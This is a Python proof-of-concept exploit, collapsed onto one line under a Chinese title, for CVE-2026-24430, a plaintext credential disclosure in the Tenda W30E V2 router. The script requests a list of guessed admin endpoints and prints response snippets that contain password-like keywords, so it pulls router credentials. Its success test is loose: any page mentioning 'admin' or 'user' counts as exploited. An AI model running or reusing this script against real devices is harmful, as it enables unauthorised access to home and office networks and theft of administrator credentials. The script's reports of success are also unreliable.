CVE-2026-24430 - Tenda W30E V2 路由器明文凭证泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-24430 PoC - Tenda W30E V2 Plaintext Credentials Disclosure Author: Security Researcher Reference: https://www.vulncheck.com/advisories/tenda-w30e-v2-http-responses-expose-plaintext-credentials """ import requests import sys import json def exploit_cve_2026_24430(target_ip, target_port=80): """ Exploit for CVE-2026-24430: Tenda W30E V2 credentials disclosure Args: target_ip: Target router IP address target_port: Target router web port (default: 80) Returns: dict: Exploitation result with extracted credentials """ print(f"[*] Targeting Tenda W30E V2 at {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2026-24430...") base_url = f"http://{target_ip}:{target_port}" # Common maintenance interface endpoints that may expose credentials endpoints = [ "/goform/SysTool1", "/goform/getPwd", "/goform/userMng", "/goform/getUserInfo", "/admin/user.conf", "/cgi-bin/userMng.cgi", "/cgi-bin/admin/sysTool1.cgi", "/cgi-bin/getPwd.cgi" ] results = { "target": target_ip, "port": target_port, "vulnerability": "CVE-2026-24430", "credentials_found": [], "exposed_endpoints": [] } for endpoint in endpoints: try: print(f"[*] Testing endpoint: {endpoint}") # Try GET request response = requests.get(f"{base_url}{endpoint}", timeout=10, verify=False, allow_redirects=False) # Check for credentials in response if response.status_code == 200: content = response.text.lower() # Look for credential patterns credential_keywords = ['password', 'pwd', 'passwd', 'admin', 'user', 'credential'] if any(keyword in content for keyword in credential_keywords): print(f"[+] Potential credentials found at {endpoint}") print(f"[+] Response length: {len(response.text)} bytes") results["exposed_endpoints"].append({ "endpoint": endpoint, "status_code": response.status_code, "response_length": len(response.text), "snippet": response.text[:500] }) except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") continue if results["exposed_endpoints"]: print(f"\n[!] Successfully exploited CVE-2026-24430!") print(f"[!] Found {len(results['exposed_endpoints'])} exposed endpoints") return results else: print(f"\n[-] No vulnerable endpoints found or device not affected") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_24430_poc.py <target_ip> [port]") print("Example: python cve_2026_24430_poc.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 result = exploit_cve_2026_24430(target, port) if result: print("\n[+] Results:") print(json.dumps(result, indent=2))